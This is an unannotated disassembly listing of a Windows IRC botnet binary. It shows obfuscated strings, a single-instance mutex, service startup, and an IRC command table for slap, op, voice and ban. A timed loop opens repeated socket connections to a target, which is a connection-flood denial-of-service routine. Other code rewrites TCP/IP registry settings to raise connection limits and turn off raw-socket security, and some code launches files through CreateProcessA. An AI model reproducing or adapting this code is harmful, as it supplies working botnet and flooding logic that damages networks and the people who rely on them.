		push	ebx
		push	ebx
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		push	ebx
		call	dword_4370D8	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_418947
		xor	eax, eax
		cmp	[ebp+var_54], 1
		setz	al
		push	eax
		push	1
		call	sub_427DAA
		mov	esi, dword_437190
		pop	ecx
		pop	ecx
		push	7D0h
		call	esi ; dword_437190
		call	sub_4235A4
		push	64h
		call	esi ; dword_437190
		push	offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1"
		push	[ebp+arg_0]
		call	sub_41CAB4
		pop	ecx
		pop	ecx
		push	3E8h
		call	esi ; dword_437190
		mov	ecx, [ebp+arg_0]
		call	sub_41CA82
		call	dword_456E58	; WSACleanup
		push	ebx
		call	dword_4370D4	; ExitProcess


loc_418947:				; CODE XREF: sub_4182BA+637j
		cmp	[ebp+var_40], ebx
		mov	esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		mov	edi, offset aSSSSExecutingF ; "%s %s %s: %s executing file: %s."
		jnz	short loc_418980
		lea	eax, [ebp+var_240]
		push	eax
		push	esi
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	offset aW3nki_guvjx ; "w3NKI.gUvJx/"
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		lea	eax, [ebp+var_F0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_418980:				; CODE XREF: sub_4182BA+69Aj
		cmp	[ebp+var_3C], ebx
		jz	loc_418A2A
		lea	eax, [ebp+var_240]
		push	eax
		push	esi
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	offset aW3nki_guvjx ; "w3NKI.gUvJx/"
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		lea	eax, [ebp+var_F0]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 20h
		jmp	short loc_418A2A
; ---------------------------------------------------------------------------


loc_4189B5:				; CODE XREF: sub_4182BA+7Fj
		cmp	[ebp+var_40], ebx
		mov	esi, dword_437170
		mov	edi, offset aHuudgYqzdz	; "HuuDG/YQZDz/"
		jnz	short loc_4189FB
		cmp	[ebp+var_3C], ebx
		jnz	short loc_418A00
		cmp	[ebp+var_60], ebx
		mov	dword ptr [ebp+var_C+4], offset	a6hwiyOatg9_6n5	; "6HWiy/OAtg9.6N5aw.affEY1"
		jnz	short loc_4189D9
		mov	dword ptr [ebp+var_C+4], edi


loc_4189D9:				; CODE XREF: sub_4182BA+71Aj
		call	esi ; dword_437170
		push	eax
		push	offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
		push	dword ptr [ebp+var_C+4]
		lea	eax, [ebp+var_F0]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_4189FB:				; CODE XREF: sub_4182BA+709j
		cmp	[ebp+var_3C], ebx
		jz	short loc_418A2A


loc_418A00:				; CODE XREF: sub_4182BA+70Ej
		cmp	[ebp+var_60], ebx
		jz	short loc_418A0A
		mov	edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"


loc_418A0A:				; CODE XREF: sub_4182BA+749j
		call	esi ; dword_437170
		push	eax
		push	offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSSD	; "%s %s <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_418A2A:				; CODE XREF: sub_4182BA+2D7j
					; sub_4182BA+5D3j ...
		push	[ebp+var_70]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
sub_4182BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A3A	proc near		; CODE XREF: sub_418AD3+DFp
					; sub_418AD3+225p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi]
		call	dword_4372A4	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_418A58
		push	0FFFFFFFEh
		pop	eax
		jmp	short loc_418ACF
; ---------------------------------------------------------------------------


loc_418A58:				; CODE XREF: sub_418A3A+17j
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_429760
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		call	sub_429420
		mov	ax, [esi+8]
		add	esp, 18h
		mov	[ebp+var_10], ax
		push	[ebp+arg_4]
		call	dword_4372C4	; ntohs
		push	dword ptr [edi]
		mov	[ebp+var_E], ax
		call	sub_41E3EC
		mov	[ebp+var_C], eax
		pop	ecx
		movsx	eax, [ebp+var_10]
		push	0
		push	1
		push	eax
		call	dword_4372BC	; socket
		mov	esi, eax
		test	esi, esi
		jl	short loc_418AC8
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4372CC	; connect
		test	eax, eax
		jge	short loc_418ACD
		push	esi
		call	sub_42F1A0
		pop	ecx


loc_418AC8:				; CODE XREF: sub_418A3A+74j
		or	eax, 0FFFFFFFFh
		jmp	short loc_418ACF
; ---------------------------------------------------------------------------


loc_418ACD:				; CODE XREF: sub_418A3A+85j
		mov	eax, esi


loc_418ACF:				; CODE XREF: sub_418A3A+1Cj
					; sub_418A3A+91j
		pop	edi
		pop	esi
		leave
		retn
sub_418A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AD3	proc near		; DATA XREF: sub_40A9FE+7AD4o

var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_13C]
		rep movsd
		mov	esi, dword_437188
		mov	dword ptr [eax+11Ch], 1
		mov	eax, [ebp+var_13C]
		mov	[ebp+var_8], eax
		call	esi ; dword_437188
		mov	ecx, [ebp+var_38]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_138]
		xor	ebx, ebx
		cmp	[ebp+var_24], ebx
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], eax
		mov	edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jnz	short loc_418B57
		cmp	[ebp+var_28], ebx
		jnz	short loc_418B5C
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_138]
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_B8]
		push	offset aSSendingSDDCon ; "%s ->	Sending	(%s:%d)	(%d) connects(s) "...
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 20h


loc_418B57:				; CODE XREF: sub_418AD3+59j
		cmp	[ebp+var_28], ebx
		jz	short loc_418B84


loc_418B5C:				; CODE XREF: sub_418AD3+5Ej
		push	[ebp+var_30]
		lea	eax, [ebp+var_138]
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	eax
		push	edi
		lea	eax, [ebp+var_B8]
		push	offset aSSendingSDDC_0 ; "%s ->	Sending	(%s:%d)	(%d) conn(s) for "...
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 20h


loc_418B84:				; CODE XREF: sub_418AD3+87j
		cmp	[ebp+var_4], ebx
		jnz	loc_418C6A
		mov	[ebp+var_4], ebx
		call	esi ; dword_437188
		sub	eax, [ebp+arg_0]
		mov	edi, 3E8h
		xor	edx, edx
		mov	ecx, edi
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	short loc_418BED
		mov	ebx, dword_437190


loc_418BAB:				; CODE XREF: sub_418AD3+116j
		push	[ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418A3A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_418BC1
		push	edi
		jmp	short loc_418BD9
; ---------------------------------------------------------------------------


loc_418BC1:				; CODE XREF: sub_418AD3+E9j
		mov	eax, [ebp+var_4]
		mov	ecx, 1F4h
		cdq
		idiv	ecx
		inc	[ebp+var_4]
		cmp	edx, 1F3h
		jnz	short loc_418BDB
		push	0Ah


loc_418BD9:				; CODE XREF: sub_418AD3+ECj
		call	ebx ; dword_437190


loc_418BDB:				; CODE XREF: sub_418AD3+102j
		call	esi ; dword_437188
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, edi
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	short loc_418BAB


loc_418BEB:				; CODE XREF: sub_418AD3+273j
					; sub_418AD3+287j
		xor	ebx, ebx


loc_418BED:				; CODE XREF: sub_418AD3+D0j
		push	[ebp+var_2C]
		call	sub_423623
		cmp	[ebp+var_24], ebx
		pop	ecx
		mov	edi, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	esi, offset aSSSDSentDConnS ; "%s %s (%s:%d) Sent: (%d)	conn(s)	for (%"...
		jnz	short loc_418C33
		cmp	[ebp+var_28], ebx
		jnz	short loc_418C38
		push	[ebp+var_30]
		lea	eax, [ebp+var_138]
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	eax
		push	edi
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		lea	eax, [ebp+var_B8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 24h


loc_418C33:				; CODE XREF: sub_418AD3+130j
		cmp	[ebp+var_28], ebx
		jz	short loc_418C61


loc_418C38:				; CODE XREF: sub_418AD3+135j
		push	[ebp+var_30]
		lea	eax, [ebp+var_138]
		push	[ebp+var_34]
		push	[ebp+var_38]
		push	eax
		push	edi
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		lea	eax, [ebp+var_B8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 24h


loc_418C61:				; CODE XREF: sub_418AD3+163j
					; sub_418AD3+1DCj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418AD3+B4j
		push	4
		push	[ebp+var_4]
		call	sub_42B39A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], ebx
		jnz	short loc_418CC7
		push	[ebp+var_2C]
		call	sub_423623
		cmp	[ebp+var_24], ebx
		pop	ecx
		mov	esi, offset aSErrorOutOfMem ; "%s Error: Out Of	Mem!"
		jnz	short loc_418CAC
		cmp	[ebp+var_28], ebx
		jnz	short loc_418CB1
		push	edi
		lea	eax, [ebp+var_B8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 10h


loc_418CAC:				; CODE XREF: sub_418AD3+1BEj
		cmp	[ebp+var_28], ebx
		jz	short loc_418C61


loc_418CB1:				; CODE XREF: sub_418AD3+1C3j
		push	edi
		lea	eax, [ebp+var_B8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 10h
		jmp	short loc_418C61
; ---------------------------------------------------------------------------


loc_418CC7:				; CODE XREF: sub_418AD3+1ABj
		call	esi ; dword_437188
		mov	ebx, dword_437190
		mov	edi, 3E8h
		jmp	short loc_418D31
; ---------------------------------------------------------------------------


loc_418CD6:				; CODE XREF: sub_418AD3+26Aj
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [eax+ecx*4]
		mov	[ebp+var_1C], eax
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_418D0C
		push	eax
		call	sub_42F1A0
		pop	ecx
		jmp	short loc_418D0C
; ---------------------------------------------------------------------------


loc_418CF1:				; CODE XREF: sub_418AD3+247j
		push	[ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418A3A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax
		jnz	short loc_418D1C
		push	edi
		call	ebx ; dword_437190


loc_418D0C:				; CODE XREF: sub_418AD3+213j
					; sub_418AD3+21Cj
		call	esi ; dword_437188
		sub	eax, [ebp+arg_0]
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	short loc_418CF1


loc_418D1C:				; CODE XREF: sub_418AD3+234j
		inc	[ebp+var_C]
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_4]
		jnz	short loc_418D2F
		and	[ebp+var_C], 0
		push	1
		call	ebx ; dword_437190


loc_418D2F:				; CODE XREF: sub_418AD3+252j
		call	esi ; dword_437188


loc_418D31:				; CODE XREF: sub_418AD3+201j
		sub	eax, [ebp+arg_0]
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	short loc_418CD6
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, [ebp+var_4]
		jnz	loc_418BEB


loc_418D4C:				; CODE XREF: sub_418AD3+291j
		call	esi ; dword_437188
		sub	eax, [ebp+arg_0]
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_418BEB
		push	1
		call	ebx ; dword_437190
		jmp	short loc_418D4C
sub_418AD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D66	proc near		; DATA XREF: .text:0043A008o

; FUNCTION CHUNK AT 00418D7A SIZE 0000000C BYTES

		call	sub_418D70
		jmp	loc_418D7A
sub_418D66	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D70	proc near		; CODE XREF: sub_418D66p

; FUNCTION CHUNK AT 0041C40A SIZE 00000020 BYTES

		mov	ecx, offset dword_457E1C
		jmp	loc_41C40A
sub_418D70	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418D66


loc_418D7A:				; CODE XREF: sub_418D66+5j
		push	offset sub_418D86
		call	sub_42B869
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_418D66

; =============== S U B	R O U T	I N E =======================================



sub_418D86	proc near		; DATA XREF: sub_418D66:loc_418D7Ao

; FUNCTION CHUNK AT 0041C42A SIZE 0000000E BYTES

		mov	ecx, offset dword_457E1C
		jmp	loc_41C42A
sub_418D86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D90	proc near		; CODE XREF: sub_40A9FE+6B4p
					; sub_418FA1+24Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, offset dword_4570C0
		mov	ebx, 0B8h


loc_418DA4:				; CODE XREF: sub_418D90+32j
		cmp	byte ptr [esi],	0
		jz	short loc_418DC6
		push	[ebp+arg_0]
		push	esi
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_418DC6
		inc	[ebp+var_4]
		add	esi, ebx
		cmp	esi, offset dword_457C40
		jl	short loc_418DA4
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DC6:				; CODE XREF: sub_418D90+17j
					; sub_418D90+25j
		mov	esi, [ebp+var_4]
		push	edi
		imul	esi, 0B8h
		push	ebx
		push	0
		lea	edi, dword_4570C0[esi]
		push	edi
		call	sub_429760
		push	17h
		push	[ebp+arg_0]
		push	edi
		call	sub_429D10
		push	9Fh
		lea	eax, dword_4570D8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_429D10
		add	esp, 24h
		inc	dword_445D28
		pop	edi


loc_418E08:				; CODE XREF: sub_418D90+34j
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		leave
		retn
sub_418D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E0F	proc near		; CODE XREF: .text:0042C64Fp

var_428		= byte ptr -428h
var_324		= byte ptr -324h
var_220		= byte ptr -220h
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 428h
		push	ebx
		call	sub_417362
		call	sub_40A7C5
		test	eax, eax
		jz	short loc_418E37
		push	1
		call	sub_427C81
		pop	ecx
		push	1
		call	dword_4370D4	; ExitProcess


loc_418E37:				; CODE XREF: sub_418E0F+16j
		xor	ebx, ebx
		push	offset aMessageboxa ; "MessageBoxA"
		push	offset aUser32_dll ; "user32.dll"
		mov	[ebp+var_8], 0C8h
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 4
		mov	[ebp+var_5], bl
		mov	[ebp+var_4], 60h
		call	dword_437034	; LoadLibraryA
		push	eax
		call	dword_437030	; GetProcAddress
		lea	ecx, [ebp+var_8]
		push	5
		push	ecx
		push	eax
		call	sub_42A520
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418E77


loc_418E75:				; CODE XREF: sub_418E0F:loc_418E75j
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E77:				; CODE XREF: sub_418E0F+64j
		push	esi
		push	edi
		push	dword_445D20
		push	dword_445D24
		call	sub_416596
		pop	ecx
		pop	ecx
		call	sub_41567F
		push	2
		mov	[ebp+var_18], offset dword_4439CC
		mov	[ebp+var_14], offset sub_422147
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	dword_457004	; SetErrorMode
		lea	eax, [ebp+var_428]
		push	104h
		push	eax
		push	ebx
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		push	40h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_11B]
		mov	[ebp+var_11C], bl
		push	ebx
		rep stosd
		push	dword_4439A4
		stosw
		stosb
		lea	eax, [ebp+var_11C]
		push	eax
		push	ebx
		call	dword_437260
		mov	esi, dword_4370B4
		lea	eax, [ebp+var_11C]
		push	eax
		push	offset dword_457D18
		call	esi ; dword_4370B4
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	esi ; dword_4370B4
		mov	esi, offset dword_4439A8
		lea	eax, [ebp+var_324]
		push	esi
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_445D68
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_324]
		push	esi
		push	eax
		call	sub_4278B2
		add	esp, 18h
		test	eax, eax
		pop	edi
		pop	esi
		jz	short loc_418F7F
		lea	eax, [ebp+var_428]
		push	1
		push	eax
		push	offset byte_445013
		push	offset dword_444F14
		push	dword_444F10
		call	sub_421409
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4221E4
		add	esp, 18h
		push	1
		call	dword_4370D4	; ExitProcess


loc_418F7F:				; CODE XREF: sub_418E0F+139j
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_45701C	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_418F9A
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4221E4
		pop	ecx


loc_418F9A:				; CODE XREF: sub_418E0F+17Cj
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_418E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FA1	proc near		; DATA XREF: sub_4222F7+Co
					; sub_42245D+15Fo

var_3B0		= byte ptr -3B0h
var_398		= byte ptr -398h
var_380		= byte ptr -380h
var_374		= qword	ptr -374h
var_368		= dword	ptr -368h
var_364		= byte ptr -364h
var_358		= qword	ptr -358h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_2CC		= dword	ptr -2CCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h

		sub	esp, 334h
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		push	offset aGx000032 ; "gx000032"
		push	ebx
		push	ebx
		call	dword_4370E0	; CreateMutexA
		mov	dword_457F64, eax
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_418FD3
		push	ebx
		call	dword_4370D4	; ExitProcess


loc_418FD3:				; CODE XREF: sub_418FA1+29j
		push	offset aNxruj_viib6 ; "nxruJ.vIib6/"
		mov	edi, offset aSS_1 ; "%s	%s"
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	ebx
		call	sub_4234A7
		xor	ebp, ebp
		inc	ebp
		push	ebp
		push	offset byte_445013
		push	offset dword_444F14
		push	dword_444F10
		call	sub_421340
		mov	esi, eax
		add	esp, 20h
		cmp	esi, ebx
		jz	short loc_41905D
		push	80h
		push	esi
		call	dword_437068	; SetFileAttributesA
		mov	[esp+35Ch+var_348], ebx
		jmp	short loc_41903A
; ---------------------------------------------------------------------------


loc_41901D:				; CODE XREF: sub_418FA1+A2j
		cmp	[esp+35Ch+var_348], 3
		jge	short loc_419045
		push	esi
		call	dword_437060	; DeleteFileA
		inc	[esp+360h+var_34C]
		push	7D0h
		call	dword_437190	; Sleep


loc_41903A:				; CODE XREF: sub_418FA1+7Aj
		push	esi
		call	sub_4277C0
		test	eax, eax
		pop	ecx
		jnz	short loc_41901D


loc_419045:				; CODE XREF: sub_418FA1+81j
		push	offset byte_445013
		push	offset dword_444F14
		push	dword_444F10
		call	sub_420F6C
		add	esp, 0Ch


loc_41905D:				; CODE XREF: sub_418FA1+68j
		mov	esi, dword_437188
		call	esi ; dword_437188
		push	eax
		call	sub_429B8F
		pop	ecx
		lea	eax, [esp+364h+var_348]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		lea	eax, [esp+368h+var_344]
		push	eax
		call	dword_43718C	; QueryPerformanceFrequency
		cmp	[esp+36Ch+var_34C], ebx
		jl	short loc_4190D2
		jg	short loc_419090
		cmp	[esp+36Ch+var_350], ebx
		jbe	short loc_4190D2


loc_419090:				; CODE XREF: sub_418FA1+E7j
		cmp	[esp+36Ch+var_344], ebx
		jl	short loc_4190D2
		jg	short loc_41909E
		cmp	[esp+36Ch+var_348], ebx
		jbe	short loc_4190D2


loc_41909E:				; CODE XREF: sub_418FA1+F5j
		push	[esp+36Ch+var_344]
		push	[esp+370h+var_348]
		push	[esp+374h+var_34C]
		push	[esp+378h+var_350]
		call	sub_42B2F0
		push	ecx
		push	ecx		; double
		mov	dword ptr [esp+374h+var_358], eax
		mov	dword ptr [esp+374h+var_358+4],	edx
		fild	[esp+374h+var_358]
		fstp	[esp+374h+var_374]
		call	sub_42A706
		pop	ecx
		pop	ecx
		call	sub_42A9E0
		jmp	short loc_4190D4
; ---------------------------------------------------------------------------


loc_4190D2:				; CODE XREF: sub_418FA1+E5j
					; sub_418FA1+EDj ...
		call	esi ; dword_437188


loc_4190D4:				; CODE XREF: sub_418FA1+12Fj
		mov	dword_457E58, eax
		lea	eax, [esp+36Ch+var_1B8]
		push	eax
		push	202h
		call	dword_456E78	; WSAStartup
		test	eax, eax
		jz	short loc_4190F8
		push	0FFFFFFFEh
		call	dword_4370D4	; ExitProcess


loc_4190F8:				; CODE XREF: sub_418FA1+14Dj
		cmp	dword_457034, ebx
		jnz	short loc_419107
		call	sub_427BC4
		jmp	short loc_419118
; ---------------------------------------------------------------------------


loc_419107:				; CODE XREF: sub_418FA1+15Dj
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	offset dword_676418
		call	sub_429B03
		pop	ecx
		pop	ecx


loc_419118:				; CODE XREF: sub_418FA1+164j
		push	offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q."
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	5
		mov	[esp+388h+var_368], ebx
		call	sub_4234A7
		add	esp, 10h
		mov	esi, eax
		lea	eax, [esp+378h+var_368]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41BD1E
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		imul	esi, 2724h
		push	offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30"
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		push	edi
		push	3
		mov	dword_46D72C[esi], eax
		mov	[esp+3A0h+var_2CC], ebp
		call	sub_4234A7
		add	esp, 10h
		mov	esi, eax
		lea	eax, [esp+390h+var_380]
		mov	edi, dword_437180
		push	eax
		lea	eax, [esp+394h+var_364]
		push	ebx
		push	eax
		push	offset sub_422009
		push	ebx
		push	ebx
		call	edi ; dword_437180
		imul	esi, 2724h
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset dword_446348
		push	4
		mov	dword_46D72C[esi], eax
		call	sub_4234A7
		add	esp, 0Ch
		mov	esi, eax
		lea	eax, [esp+3A8h+var_398]
		push	eax
		lea	eax, [esp+3ACh+var_2B8]
		push	ebx
		push	eax
		push	offset sub_41EBE9
		push	ebx
		push	ebx
		call	edi ; dword_437180
		imul	esi, 2724h
		mov	dword_46D72C[esi], eax
		call	sub_402BD7
		push	0B80h
		push	ebx
		push	offset dword_4570C0
		call	sub_429760
		push	offset aRPrivmsg1GodDa ; "r PRIVMSG $1 god damnit,hard bitchslaps"...
		push	offset aSlaps	; "slaps"
		call	sub_418D90
		push	offset aRPrivmsg1Slaps ; "r PRIVMSG $1 slaps for You!!"
		push	offset aSlap	; "slap"
		call	sub_418D90
		push	offset aRPrivmsg1_ ; "r	PRIVMSG	$1 :."
		push	offset off_4462D0
		call	sub_418D90
		push	offset aR1_	; "r $1	:."
		push	offset aCtc2	; "ctc2"
		call	sub_418D90
		push	offset aRModeChanO1 ; "r MODE $chan +o $1"
		push	offset aOps	; "ops"
		call	sub_418D90
		push	offset aRModeChanV1 ; "r MODE $chan +v $1"
		push	offset aVoice	; "voice"
		call	sub_418D90
		push	offset aRModeChanH1 ; "r MODE $chan +h $1"
		push	offset aHalfop	; "halfop"
		call	sub_418D90
		add	esp, 44h
		push	offset aRModeChanB1 ; "r MODE $chan +b $1"
		push	offset aBan	; "ban"
		call	sub_418D90
		push	ebp
		push	offset a5000	; "5000"
		push	offset aWaittokillserv ; "WaitToKillServiceT"
		mov	esi, 80000002h
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control"
		push	esi
		call	sub_421409
		push	0FFFEh
		mov	edi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"...
		push	offset aMaxuserport ; "MaxUserPort"
		push	edi
		push	esi
		call	sub_4213E8
		push	1Eh
		push	offset aTcptimedwaitde ; "TcpTimedWaitDelay"
		push	edi
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aStricttimewait ; "StrictTimeWaitSeqCheck"
		push	edi
		push	esi
		call	sub_4213E8
		add	esp, 4Ch
		push	ebp
		push	offset aTcp1323opts ; "Tcp1323Opts"
		push	edi
		push	esi
		call	sub_4213E8
		push	3EBC0h
		push	offset aGlobalmaxtcpwi ; "GlobalMaxTcpWindowSize"
		push	edi
		push	esi
		call	sub_4213E8
		push	3EBC0h
		push	offset aTcpwindowsize ;	"TcpWindowSize"
		push	edi
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aEnablepmtudisc ; "EnablePMTUDiscovery"
		push	edi
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	ebx
		push	offset aEnablepmtubhde ; "EnablePMTUBHDetect"
		push	edi
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aSackopts ; "SackOpts"
		push	edi
		push	esi
		call	sub_4213E8
		push	40h
		push	offset aDefaultttl ; "DefaultTTL"
		push	edi
		push	esi
		call	sub_4213E8
		push	2
		push	offset aTcpmaxdupacks ;	"TcpMaxDupAcks"
		push	edi
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	0C8000h
		push	offset aLargebuffersiz ; "LargeBufferSize"
		push	edi
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aAllowuserrawac ; "AllowUserRawAccess"
		push	edi
		push	esi
		call	sub_4213E8
		push	0FFFFFEh
		push	offset aTcpnumconnecti ; "TcpNumConnections"
		push	edi
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aDisablerawsecu ; "DisableRawSecurity"
		push	offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\Afd\\P"...
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	0FFFEh
		push	offset aMaxconnections ; "MaxConnectionsPer1_0Server"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_4213E8
